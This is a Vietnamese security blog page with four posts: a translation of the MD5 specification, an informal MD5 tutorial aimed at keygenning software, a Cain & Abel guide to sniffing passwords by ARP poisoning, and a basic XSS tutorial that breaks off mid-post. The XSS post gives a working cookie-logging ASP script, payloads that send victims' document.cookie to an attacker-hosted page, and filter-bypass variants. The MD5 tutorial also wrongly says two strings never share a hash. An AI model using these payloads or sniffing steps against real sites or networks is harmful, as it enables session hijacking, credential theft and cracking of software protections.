Posts filed under 'bảo mật'

Thuật toán số hóa thông điệp MD5

1. Mục đích

Tài liệu này mô tả thuật toán số hóa thông điệp MD5. Thuật toán nhận vào 1 thông điệp độ dài tùy ý và tạo ra một số 128 bit, là một dạng “vân tay“ hay “mã số thông điệp“ ( message digest ) của đầu vào. Người ta cho rằng sẽ không khả thi về mặt tính toán để tạo ra 2 thông điệp có cùng mã số thông điệp, hoặc tạo ra một thông điệp với mã số cho trước.Thuật toán MD5 được dự tính áp dụng cho những ứng dụng chữ ký điện tử, ở đó một file lớn phải được “nén“ một cách an toàn trước khi mã hóa với một khóa cá nhân ( private key ) dưới một hệ mã hóa công khai như RSA

Thuật toán MD5 được thiết kế để chạy tương đối nhanh trên các máy 32 bit, có thể được thực hiện một cách khá gọn.

Thuật toán MD5 là sự mở rộng của thuật toán MD4. MD5 chậm hơn một chút so với MD4 nhưng an toàn hơn. MD5 được thiết kế vì người ta cảm thấy có thể MD4 đã được chấp nhận trong sử dụng quá nhanh so với sự đánh giá nó. MD4 được thiết kế để chạy rất nhanh, nó đã “nằm trên ranh giới“ theo cách nói về nguy cơ của sự thành công trong việc phá mã. MD5 đã lùi lại một chút, từ bỏ một chút tốc độ cho sự bảo mật. Nó kết hợp một số ý kiến góp ý của các chuyên gia, thuật toán MD5 hiện đang được đánh giá và có thể được chấp nhận như một chuẩn.

2. Thuật ngữ và ký hiệu

Trong tài liệu này một “word“ là một lượng 32 bit và một “byte“ là một lượng 8 bit. Một dãy các bit có thể được xem như một dãy các byte, trong đó mỗi nhóm 8 bit liên tiếp được xem như một byte với bit cao của mỗi byte đặt trước. Tương tự, mỗi dãy các byte có thể xem như một dãy các word 32 bit, trong đõ mỗi nhóm 4 byte liên tiếp được xem như một word với byte thấp đặt trước.

Ký hiệu x_i nghĩa là phần tử x thứ i (“x sub i“). Nếu số thứ tự đó là một biểu thức ta viết nó trong ngoặc nhọn, ví dụ như x_{i+1} ; ^ ký hiệu cho số mũ.
Ký hiệu “+“ cho phép cộng các word, nghĩa là cộng theo môđun 2^32.
X <<< s ký hiệu giá trị 32 bit nhận được bằng cách dịch chuyển các bit của X (theo kiểu quay vòng ) sang trái s vị trí.
not(X) ký hiệu phép đối lập (NOT) các bit
X v Y ký hiệu phép OR các bit
X xor Y ký hiệu phép XOR các bit
XY ký hiệu phép AND các bit

3. Mô tả thuật toán MD5

Giả sử chúng ta có thông điệp b bit ở đầu vào, và ta muốn tìm mã số của thông điệp. Ở đây b là số không âm bất kỳ; b có thể bằng 0 và không cần chia hết cho 8, độ lớn có thể bất kỳ. Tưởng tượng rằng các bit của thông điệp được viết như sau :
m_0 m_1 m_2 … m_{b-1}

Mã số thông điệp được tính qua 5 bước sau

3.1 – Bước 1 : Các bit gắn thêm

Thông điệp được mở rộng, thêm bit vào phía sau sao cho độ dài của nó ( tính theo bit ) đồng dư với 448 theo môđun 512. Nghĩa là thông điệp được mở rộng sao cho nó còn thiếu 64 bit nữa thì sẽ có một độ dài chia hết cho 512. Việc này luông được thực hiện ngay cả khi bản thân độ dài thông điệp đã đồng dư với 448 theo môđun 512.
Việc thêm bit này thực hiện như sau : một bit “1“ được thêm vào sau thông điệp, sau đó các bit “0“ được thêm vào để có một độ dài đồng dư với 448 môđun 512. Trong tất cả các trường hợp, có ít nhất 1 và nhiều nhất 512 bit được thêm vào.

3.2 – Bước 2 : Gắn thêm độ dài

Dạng biểu diễn 64 bit độ dài b của chuỗi ban đầu được thêm vào phía sau kết quả của bước 1. Trong trường hợp b lớn hơn 2^64 thì chỉ có 64 bit thấp của b được sử dụng. ( Các bit này được thêm vào phía sau dưới dạng 2 word 32 bit, gắn word thấp trước theo quy ước ở trên )
3.3 – Bước 3 : Khởi tạo bộ đệm MD
Một bộ đệm 4 word (A,B,C,D) được dùng để tính mã số thông điệp. Ở đây mỗi A,B,C,D là một thanh ghi 32 bit. Những thanh ghi này được khởi tạo theo những giá trị hex sau ( các byte thấp trước ) :
word A : 01 23 45 67
word B : 89 ab cd ef
word C : fe dc ba 98
word D : 76 54 32 10

3.4 – Bước 4 : Xử lý thông điệp theo từng khối 16 word

Trước hết ta định nghĩa các hàm phụ, các hàm này nhận đầu vào là 3 word 32 bit và tạo ra một word 32 bit.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z)= XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))

Với mỗi bit, F hoạt động như một điều kiện : nếu X thì Y nếu không thì Z. Hàm F có thể định nghĩa bằng phép + thay vì v bởi vì XY và not(X)Z không bao giờ có “1“ ở cùng 1 vị trí bit.Các hàm G,H và I tương tự như F, ở chỗ chúng tác động theo từng bit tương ứng để tạo ra kết quả từ các bit của X,Y và Z

Bước này sử dụng một bảng 64 giá trị T[1 .. 64] được tạo ra từ hàm sin. Gọi T[i] là phần tử thứ i của bảng, thì T[i]là phần nguyên của 4294967296*|sin(i)| , i được tính theo radian.

Làm như sau :

/* Xử lý mỗi khối 16 word */
For i = 0 to N/16-1 do

/* Copy block i into X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end /* of loop on j */

/* Lưu A vào AA, B vào BB, C vào CC, D và DD . */
AA = A
BB = B
CC = C
DD = D

/* Vòng 1. */
/* Ký hiệu [abcd k s i] nghĩa là thực hiện như sau :
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện : */
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]

/* Vòng 2. */
/*Ký hiệu [abcd k s i] nghĩa là thực hiện như sau
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện : */
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]

/* Vòng 3. */
/* Ký hiệu [abcd k s t] nghĩ là làm như sau
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiện :*/
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]

/* Vòng 4. */
/* Ký hiệu [abcd k s t] nghĩa là làm như sau
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Thực hiên: */
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]

/* Then perform the following additions. (That is increment each
of the four registers by the value it had before this block was started.) */

/* Sau đó làm các phép cộng sau. ( Nghĩa là cộng vào mỗi thanh ghi giá trị của nó trước khi vào vòng lặp ) */

A = A + AA
B = B + BB
C = C + CC
D = D + DD

end /* of loop on i */

3.5 – Bước 5 : In ra

Mã số thông điệp được tạo ra là A,B,C,D. Nghĩa là chúng ta bắt đầu từ byte thấp của A, kết thúc với byte cao của D.

Đến đây đã mô tả xong thuật toán MD5. Mã nguồn tham khảo viết bằng C có thể tìm thấy ở phụ lục.

4. Tổng kết

Thuật toán số hóa thông điệp MD5 khá đơn giản để thực hiện, cung cấp một dạng “vân tay“ hay mã số của thông điệp với độ dài tùy ý. Người ta cho rằng độ khó để tìm được 2 thông điệp có cùng mã số là khoảng 2^64 bước tính, và độ khó để tim được một thông điệp với mã số cho trước là 2^128 bước tính. Thuật toán MD5 đã được dò tìm điểm yếu một cách cẩn thận. Tuy nhiên đây là một thuật toán tương đối mới ( ! ) và việc phân tích cẩn thận về sự an toàn là cần thiết.

5. Sự khác nhau giữa MD4 và MD5

Sau đây là sự khác nhau giữa MD4 và MD5 :

1. Vòng 4 đã được thêm vào

2. Mỗi bước đều được thêm vào một hằng số duy nhất

3. Hàm G ở vòng 2 được đổi từ (XY v XZ v YZ) thành (XZ v Y not(Z)) để làm giảm sự đối xứng trong G.

4. Mỗi bước đều sử dụng kết quả từ bước trước . Điều này nhằm tạo ra “hiệu ứng dây chuyền“ nhanh hơn

5. Thứ tự các word đầu vào ở vòng 2 và vòng 3 được thay đổi, để làm cho hai mẫu này ít giống nhau hơn

6. Số bit dịch chuyển ở mỗi vòng được tối ưu hóa, để tạo ra “hiệu ứng dây chuyền“ nhanh hơn. Lượng dịch chuyển ở mỗi vòng là khác nhau.

Tài liệu tham khảo

[1] Rivest, R., “The MD4 Message Digest Algorithm“, RFC 1320, MIT and
RSA Data Security, Inc., April 1992.

[2] Rivest, R., “The MD4 message digest algorithm“, in A.J. Menezes
and S.A. Vanstone, editors, Advances in Cryptology – CRYPTO `90
Proceedings, pages 303-311, Springer-Verlag, 1991.

[3] CCITT Recommendation X.509 (1988), “The Directory -
Authentication Framework.“

Xem xét về tính bảo mật

Độ bảo mật bàn đến trong bài viết này được coi là đủ để tạo ra những mô hình chữ ký điện tử kết hợp giữa MD5 và một hệ mã hóa công khai

Add comment 24/07/2007

MD5 Algorithm

Mỗi một người có một “dấu lăn tay” (fingerprint) riêng ko ai giống ai đúng ko các bạn?. Lúc 15 tuổi tui làm giấy CMND cho đến nay “dấu lăn tay” của tui vẫn vậy. Và có khi nào bạn hỏi: Ai đã tạo ra nó thế?!. Xin trả lời: đó là do Ông Trời tạo ra bạn ạ!!!.(lãng xẹt) Hihi
Từ những ý tưởng đó , con người mới nghĩ ra việc : tại sao chúng ta ko làm Ông Trời một phen. Chúng ta thử tạo ra “dấu lăn tay” cho 1 cái gì đó để phân biệt chúng với nhau. Ví dụ như tên của mỗi người chẳng hạn (các bạn nên có khái niệm tên (name) là một chuổi các ký tự được gọi là string). Hêhêhê . Do vậy , trong IT người ta bắt đầu nghiên cứu các “cái máy” tạo ra “dấu lăn tay” cho các chuổi string. Một trong những “cái máy” đó là “Thuật toán MD5” mà chúng ta sắp nghiên cứu đây.
“Dấu lăn tay” do Thuật tóan MD5 (gọi tắt là MD5) từ một string gọi là message digest (tín hiệu digest, gọi tắt là md) hay còn gọi là “MD5 hashes” (gọi tắt là hashes). Một tín hiệu hashes là một chuổi các ký tự hexa ( bao gồm số 0-9 và a-f, các số hex ấy mà!!). Về nguyên tắt tạo ra hashes là :
-Bất cứ string nào cũng điều có duy nhất một hashes, ko bao giờ có 2 hashes cho 1 string
-Hai string khác nhau thì có 2 hashes khác nhau, ko bao giờ trùng nhau.
-Hảy nhớ điều này: từ 1 hashes ta tìm ngược lại string của nó được ko? Điều này ko bao giờ làm được. Ko một “máy” nào làm được.Chúng ta nên nhớ điều này.
Đó là những gì mà thuật tóan MD5 làm ra.
TUT này chúng ta ko tìm hiểu sâu thật sâu về MD5, như là tại sao làm như thuật tóan thì đáp ứng các điều kiện trên vừa nói, đó là việc của các nhà phát minh, các nhà tóan học.Chúng ta chỉ tìm hiểu cách thực hiện của MD5 mà thôi. Từ đó chúng ta có thể ứng dụng nó để nhận dạng ra chương trình nào sử dụng MD5, và sau đó ….keygen nó …hihi

Sau đây tui xin trích dẫn một số tài liệu về MD5 mà tui tìm hiểu được trên Net. Các bạn đọc từ từ nhé ko thôi bị mắc nghẹn à.

MỘT SỐ THÔNG TIN CĂN BẢN:

MD5 LÀ GÌ ?

MD để chỉ cho “message digest” (Lấy 2 chử đầu). MD5 là một thuật tóan lấy một tín hiệu vào có chiều dài bất kỳ và đưa ra một tín hiệu digest có chiều dài cố định (128-bit, 32 ký tự hexa), được làm ra từ 1 giá trị hexa (chú ý : mỗi ký tự hex là 4 bit, do đó 128bit là 32 ký tự hex). OK, bây giờ nói rõ hơn một chút : MD5 là cách căn bản để lấy chùm ký tự ( là digits, alphabeic hay gì khác ), được gọi là string nhập vào, và thay đổi chúng thành một chùm ký tự dài 32 ký tự , được gọi là tín hiệu digest (message digest) hay hashes của string được nhập vào, chuổi 32 ký tự này được tạo ra từ các ký tự hexa ( những digits: 0-9 và các chử a-f). Điều này có nghĩa là, với một string nhập vào có chiều dài bất kỳ , MD5 sẽ luôn luôn cài đặt “một vài thứ” để thành một chuổi string dài 32 ký tự, mà các ký tự là các ký tự hexa. Tín hiệu digest sẽ ko có khỏang trống, hay dấu hoặc kép hay bất cứ thứ gì khác 0-9 và a-f trong tín hiệu hashes được xuất ra.
MD5 hashes có tiện dụng là những hashes tạo ra trông khác nhau hòan tòan từ những tín hiệu nhập vào hơi hơi giống nhau. Ví dụ sau sẽ làm rỏ hơn về điều này:
• The MD5 hash of jim is 5e027396789a18c37aeda616e3d7991b
• The MD5 hash of Jim is d54b3c8fcd5ba07e47b400e69a287966
• The MD5 hash of Jimmy is 495b3121d23f5988b133882b36aa7214

Như bạn thấy đó, có ba tín hiệu nhập vào “hơi hơi giống nhau” nhưng các tín hiệu MD5 hashes xuất ra hòan tòan khác nhau. Ví dụ này cũng chứng minh hai ký tự j và J là 2 ký tự khác nhau . Do đó chúng ta thấy “máy đẻ” ra MD5 hashes là lọai rất nhạy cảm. Ở đây cần chú ý thêm là trong ví dụ thứ 3 chỉ thêm vào 2 ký tự (my) ở cuối chuổi của ví dụ 2 , và hashes của nó đã thay đổi hòan tòan. Vì vậy chúng ta ko thể có hashes của chuổi “Blehlo” từ hashes của chuổi “Bleh” bằng cách “vá viếu” thêm vài ký tự – thay đổi trong chuổi string nhập vào thì tín hiệu hashes của nó cũng sẽ thay đổi hòan tòan. Và ở đây cũng nên chú ý với 3 string nhập vào có chiều dài ko giống nhau nhưng các hash sinh ra đều có chiều dài là 32 ký tự (bao gồm các số 0-9 và a-f), ở ví dụ sau cùng ta cũng thấy chuổi string nhập vào dài hơn 2 ký tự so với 2 string trước nhưng chuổi hash của nó cũng chỉ có 32 ký tự chử số hex.
Mặc dù tín hiệu MD5 hashes xuất ra ngẫu nhiên từ string nhập vào , nhưng thật ra chúng ta có một kiểu mẫu tạo hashes MD5(một thuật tóan MD5) được sử dụng để “quay” string nhập vào thành một md hay một hashes. Nếu bạn muốn sử dụng nó thì bạn có thể đọc ở tut này ở phần sau . Bởi vì MD5 được sử dụng một thuật tóan giống nhau cho mỗi lần tính tóan nên MD5 hashes của chuổi jim luôn luôn là
5e027396789a18c37aeda616e3d7991b
Trong thực tế , một số chương trình còn thêm vào một vào vài lọai thuật tóan khác khi md được sinh ra , làm cho MD5 cực kỳ thông dụng và là 1 công cụ rất mạnh. Nhưng có lẻ điều quan trọng nhất là trong thực tế MD5 được dùng như một cách tạo hashes hay ta gọi là hash chuổi ( biến chuổi thành 1 chuổi “vớ vẫn” nào đó)……

Tôi xin nói thật, những điều tui tìm hiểu được trên đây làm cho tui vô cùng “đắc ý”. Tóm lại chúng ta cần biết như sau:

-MD5: là một thuật tóan biến đổi 1 chuổi string thành 1 tín hiệu “message digest” hay còn gọi là “MD5 hashes”. Đó là một tín hiệu 128 bits – 32 ký tự hexa.
-hash một chuổi string là biến một string thành một tín hiệu message digest
-Thủ tục (procedure) hay hàm (function) trong chương trình để hash chuổi gọi là “máy sinh” MD5 hashes hay còn gọi nôm na là “máy hash”.

Bây giờ chúng ta sẽ bước sang một câu hỏi khác rất quan trọng.

CHÚNG TA “DỊCH NGƯỢC” LẠI MỘT TÍN HIỆU MD5 HASHES NHƯ THẾ NÀO ?

Như trên tui đã nói : từ 1 hashes ta tìm ngược lại string của nó được ko? Điều này ko bao giờ làm được. Ko một “máy” nào làm được.
Vậy ở đây câu trả lời là : “Bạn không thể” . Cách hash một string có nghĩa là tín hiệu md xuất ra bằng thuật tóan MD5 là ko thể đảo ngược. Không thể biết cách tìm ra chuổi origin từ tín hiệu MD5 hashes. Vì như ví dụ ở phần trước, những chuỗi có vẽ giống nhau nhưng tín hiệu md sinh ra hòan tòan khác nhau Tức là chúng ta ko thể nào “decode” (dịch ngược) được một chuổi MD5 hashes. Chỉ có một cách có được chuổi origin là bằng cách “brute force cracking”. Tức là phải duyệt qua rất nhiều tổ họp các ký tự của chuổi vào cho đến khi một trong những chuổi md được tạo ra của chúng bằng với chuổi md cần tìm origin. Tuy nhiên , với khả năng máy tính thời nay muốn làm điều này phải mất rất nhiều năm. Mặt khác ở đây chúng ta cần chú ý đó là tín hiệu MD5 hashes được thiết kế ra là “độc nhất vô nhị”. Trên lý thuyết cũng có khả năng 2 chuổi khác nhau có tín hiệu md giống nhau nhưng khả năng này rất rất nhỏ (1/(16^32) hay vào khỏang (3.4E+38). Bởi vậy có một lần tui tham gia forum HVA và có người sử dụng chương trình tìm password cho tập tin WINRAR bị mất password và bác Comp đã kiến nghị ko nên dùng chương trình đó là lý do trên. Vì khả năng tìm ra password rất “dài hơi” và máy tính chắc chạy vài tuần của chưa tìm ra. Hảy bỏ ý định đó đi các bạn.

MD5 ĐƯỢC SỬ DỤNG CHO VIỆC GÌ ?

Chính các đặc điểm của MD5 làm cho nó thường được ứng dụng trong một số trường hợp như sau:
-Nó thường được dùng để checksum tòan bộ file. Các nhà phát triển ứng dụng thường dùng MD5 trong việc cho phép download file trên NET. Họ sẽ cho “xuất bản” một tín hiệu md của file download. Khi chúng ta tải file về , thì file chúng ta vừa download sẽ có một tín hiệu md, nếu tín hiệu này khớp với tín hiệu các nhà phát triển ứng dụng đã “xuất bản” ở trên. Thì OK, ko có vấn đề. Nếu hai tín hiệu md này khác nhau, có thể có trong file download có virut hay cái gì đó tương tự.
-Một ứng dụng thường được dùng nữa là hash một password. Được dùng cho việc bảo mật một ứng dụng, hay những gì tương tự …v….v….

Đây là một số thông tin căn bản chúng ta cần biết qua khi bắt đầu tìm hiểu về thuật tóan MD5. Ở đây tui cần nói thêm một chút:

-Chúng ta chỉ có thể tạo ra tín hiệu message digest từ một chuổi string ( đây được gọi là quá trình “encode”).Chúng ta ko thể “dịch ngược” một message digest ra một string origin (quá trình “dịch ngược” gọi là “decode”). Khi tìm hiểu về MD5, tui có hỏi trên Forum HVA về các soft dùng MD5, và có một người trả lời là “bạn cần soft encode hay decode”. Và hacnho trả lời giúp tui : dĩ nhiên là encode. Thật tình tui ko thể nào chịu nổi lọai người này. Họ chỉ biết trình diễn kiến thức. Đây ko phải là “văn hóa” khi tham gia một forum. Mong mọi người nên chân thành với nhau nhiều hơn.
-Một số người sai lầm khi hiểu rằng “MD5 hashes “ là thuật tóan tựa như MD5 ,tức là thuật tóan trên nền tản MD5 biến đổi đi đôi chút. (Các thuật tóan này tôi gọi nôn na là thuật tóan “Lai căn MD5”). Điều này sai lầm , benina chỉ xin nhắc lại : MD5 hashes = message digest.
-Đứng về mặt cracking, một số người khi chưa tìm hiểu kỹ MD5 và thấy decode ko được nên cho rằng các soft dùng thuật tóan MD5 là ko keygen được “bất khả xâm phạm” . Lại thêm một sai lầm nữa. Vì sau vậy?. Vì nếu 1 soft được bảo vệ bằng đúng “chính xác thuật tóan MD5” thì quá dễ để tìm ra số serial vì chúng ta đã biết chính xác thuật tóan này diễn ra như thế nào. Vì vậy các soft chỉ dùng thuật tóan “lai căn MD5” , hay lồng các thuật tóan khác với thuật tóan MD5. Vì vậy các bạn muốn tìm các soft trong thực tế sử dụng MD5 rất khó. (có thể nói là ko có vì ko coder nào ngu đến như vậy!). Tui chỉ tìm được một soft có thuật tóan khá giống thuật tóan MD5 mà thôi. Thực ra tui tìm trên Net thấy có 2 soft có thuật tóan “sát” với MD5, nhưng ko còn đường download trên Net nữa vì quá cũ. Tui phải ra tiệm bán các đĩa CD, và tìm được 1 Soft (mô phật! hên thiệt). Trong quá trình tìm hiểu MD5, tui cũng thu thập được một số soft có thuật tóan “Lai căn MD5”.Rồi tui sẽ share cho các bạn.

Add comment 24/07/2007

Kỹ thuật Sniff Password sử dụng Cain & Abel

Cain & Abel là một trong những công cụ đứng trong top các công cụ về security. Các bạn có thể tại phiên bản mới nhất tại http://oxid.netsons.org/download/ca_setup.exe
Hiện tại mình sử dụng phiên bản Cain & Abel v4.9.3
Cain & Abel v4.9.3 released
New features:
- Added Windows Mail (Vista) Password Decoder for POP3, IMAP, NNTP, SMTP and LDAP accounts.
- Added PTW WEP cracking attack.
- Added Windows Vista support in Wireless Password Decoder.
- Wireless Password Decoder now uses DLL injection under XP.

Các tính năng của Cain thì khỏi phải nói , quá trời trời luôn, ở đây mình chỉ giới thiệu Sniff Password. Các bạn có thể tham khảo thêm những tính năng của nó trong tài liệu kèm theo chương trình.

Bước 1: Sau khi install xong Cain và khởi động Cain thì ta cần phải cấu hình Network Adapter cho đúng.
Trên menu của Cain chọn Configure –> lựa chọn Network Adapter phù hợp
Click Start Sniffer
Bước 2: Lựa chọn Tab Sniffer –> Scan MAC Addresses, ở đây sẽ ra danh sách các địa chỉ IP mà chương trình Scan được
Bước 3: Tab bên dưới của Tab Sniffer lựa chọn phần APR. Tai khung APR ta có thể thêm địa chỉ IP mà cần sniff. Lựa chọn IP đích , IP nguồn
Bước 4: Và click Start APR, và ngồi chờ password “về làng”

Các bạn có thể xem video clip sau để biết rõ hơn
Trong đoạn video clip mình sẽ sniff password gửi từ máy có IP: 192.168.1.7.
Địa chỉ IP máy mình là 192.168.1.6 có sử dụng chương trình Cain đang chờ dzớt bất kỳ password nào mà máy 192.168.1.7 đệ trình

Video Demo Sniff Password

Add comment 24/07/2007

Xss cơ bản

XSS cơ bản
Lỗi xảy ra như thế nào ? Lỗi này xảy ra khi ứng dụng web thu nhận các dữ liệu nguy hiểm được nhập từ hacker . Như bạn đã biết thì 1 website thường chứa các link , thông qua các link này hacker có thể chèn các đoạn code vào và khi người dùng nào đó sử dụng link này thì coi như 99% là toi mạng , nói nôm na là hacker có thể thông qua lỗi này để chèn code vào site hay link để chôm các thông tin quan trọng từ nạn nhân, các thông tin quan trọng ở đây có thể là cookie hoặc username + pass để vào tài khoản 1 ngân hàng nào đó sau đó thông tin này được gửi tới cho hacker . Cách thường dùng của hacker là mã hoá các phần nguy hiểm của link ( đã chèn code) thành kiểu HEX ( hoặc có thể là các hình thức khác ) để làm cho nạn nhân ít nghi ngờ khi click vào cái link nguy hiểm đó . Sau đó là tìm cách nào đó để cho nạn nhân chịu click vào cái link đã đặt bẫy đó , cái này tùy thuộc vào sự gian xảo của từng hacker :-) , càng gian xảo thì càng mau ######ng thu được kết quả . Hầu hết các ứng dụng web hiện nay dùng cookie để kết hợp 1 tài khoản duy nhất cho 1 người dùng nào đó , nghĩa là cookie của người nào người đó xài . Các webmail , web bán hàng , nhà băng , … đa số đều dùng cookie với mục đích chứng thực ngừơi dùng , và đây cũng là cái mà hacker cần . Vậy chứ chèn code là chèn cái quái gì , dùng cái gì để chèn : dùng Javascript ( thông dụng ) , VBscript , ActiveX, HTML,hoặc Flash Chắc các bạn đã hiểu sơ sơ về cái lỗi này rồi :-) . Không hiểu thì xem tiếp sẽ hiểu . Bi giờ chúng ta sẽ nói thật rõ về cái lỗi này : Trước hết giới thiệu sơ với các bạn về cách mã hoá 1 số các kí tự thường dùng trong lỗi XSS của thanh ADDRESS để chút nữa khỏi bị choáng : ——————- Vì IBF Forum không hỗ trợ table trong bài viết nên các bạn có thể xem chi tiết đầy đủ bài viết tại đây : http://members.lycos.co.uk/masknbta/mask.rtf ——————– sơ sơ vậy thôi , muốn biết hết thì các bạn tự kiếm . KIỂM TRA LỖI XSS
Bây giờ tôi sẽ nêu ra các bước để các bạn có thể kiểm tra xem site đó có bị XSS hay không : 1 site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau : search results, error messages , Web-form , chủ yếu lỗi XSS nằm ở các phần này , nói chung là XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được 1 cái gì đó . Cách tìm lỗi để cho rõ ràng thì các chuyên gia bảo mật chia làm 7 bước nhưng theo tôi nên chia thành 5 bước : Bước 1 : Mở website cần kiểm tra ( cái này tất nhiên rồi ) Bước 2 : Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông tin đi (nhập thông tin và nhấn submit hay login hay ok gì đó ) , ví dụ nhập chữ “Mask_NBTA” chẳng hạn hay chữ gì cũng được . Bước 3 : Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông tin trả về : Ví dụ bạn thấy như thế này : · “Your search for ‘Mask_NBTA’ did not find any items” · “Your search for ‘Mask_NBTA’ returned the following results” · “User ‘Mask_NBTA’ is not valid” · “Invalid login ‘Mask_NBTA’” hoặc là cái quái gì đó mà có dính tới chữ “Mask_NBTA” mà bạn nhập vào ban đầu thì 99% “Alert” này bi XSS còn vài hình thức thử nữa tôi cũng xin trình bày luôn : + Chú ý các ô input hay các biến ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào . Hãy thử với những script này : alert(‘Mask_NBTA’) hoặc hoặc
Bước 4 : Chèn code thực sự vào nơi bị lỗi : chèn cái này alert(‘Mask_NBTA’) vào ô ban nãy và nhấn SUBMIT . Nếu sau đó bạn nhận được 1 popup có chữ “Mask_NBTA” thì “Alert” này 100% bị dính XSS . Nhưng xin chú ý , thỉnh thoảng vẫn có trường hợp website đó bị dính XSS nhưng vẫn không xuất hiện cái popup thì buộc lòng bạn phải VIEW SOURCES (mổ bụng) nó ra để xem . Khi view sources nhớ kiếm dòng nàyalert(‘Mask_NBTA’) , nếu có thì hết chạy , XSS đây rồi . Một ví dụ khác thường gặp hơn : Gọi http://sitebiloi.com/ là site bị dính lỗi XSS và ta tìm được nơi bị lỗi như thế này : http://sitebiloi.com/index.php?page=<s…< script> , nghĩa là ta có thể chèn code ngay trên thanh ADDRESS . Tôi không thể trình bày hết mọi tình huống được , cái mà các bạn cần là hiểu ra vấn đề thì bạn sẽ hiểu được khi nào bị lỗi . KHAI THÁC Kiểm tra lỗi đã xong bây giờ phải tìm cách khai thác lỗi để đạt được những gì ta mong muốn : Tôi sẽ trình bày cách thông qua lỗi XSS để lấy cookie của nạn nhân : Bước 1 : tạo 1 file cookie.asp có nội dung như thế này : —————————————————————————- <% Set x = CreateObject(“Scripting.FileSystemObject”) Set y = x.OpenTextFile(Server.MapPath(“mask.txt”), 8, true) y.WriteLine Request.QueryString(“cookie”) y.Close Set y = Nothing Set x = Nothing
%> ——————————————————————————- hoặc file cookie.php như thế này : ////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// và upload file này lên host của bạn . Chú ý là nếu bạn dùng file .php thì phải up lên host hỗ trợ PHP (lycos) , dùng file .asp thì up lên host hỗ trợ ASP (brinkster) Bước 2 : lấy lại ví dụ site bị XSS trên thanh address , để lấy cookie của nạn nhân ta làm như thế này : http://sitebiloi.com/index.php?page=<s…< /script> thì ngay lập tức đoạn code đã được chèn vào trong web page , và trông như vầy : ———————————————————– hello window.open(“http://www.hostbanupfile.com/cookie.asp?cookie=”+document.cookie) … ————————————————————– Với đoạn code này thì trình duyệt sẽ thi hành đoạn code và sau đó sẽ gửi toàn bộ cookie tới cho bạn ở dạng file .txt và bạn chỉ việc mở file này ra xem .
Nhưng không phải lúc nào bạn cũng có thể dễ dàng chèn code , lắm lúc cũng phải linh hoạt 1 chút bởi vì người lập trình website cũng đâu thể nào dễ dàng để cho chúng ta lộng hành như vậy , họ cũng có chiêu để ngăn cản chúng ta , cách họ dùng là “Lọc code” (Anti-XSS Filter) . Cơ chế của họ như sau : bộ lọc này sẽ loại bỏ các kí tự đặc biệt mà người dùng nhập vào , đơn giản vậy thôi . Chẳng lẽ hacker chịu bó tay , chưa chắc ! Hacker cũng cố gắng vượt qua “bộ lọc” bằng một vài thủ thuật nhỏ : 1/ Nếu “Bộ lọc” loại bỏ 2 kí tự “” : Hacker sẽ dùng “\x3c” và “\x3e” để thay thế và bắt đầu chèn code với ‘) + ‘) + ‘\x3cscript src=ht*p://hostbanupfile.com/cookie.asp?cookie=”+document.cookie\x3e\x3c/script\x3e’ 2/Biến các đoạn code nguy hiểm thành lời chú giải (comment) : Ví dụ khi hacker nhập vào code thì sẽ bị chặn như sau : Vượt qua cái này cũng rất dễ bằng cách dùng thẻ đóng để đóng cái kia . Nghĩa là ta chèn cái này vào : <img src=”http://none” onerror=”alert(Mask_NBTA was here);window.open( http://sitebanupfile.com/cookie.asp?cookie…cument.cookie); “> lúc này đoạn lọc code ban đầu trở thành : ———————————————————————–
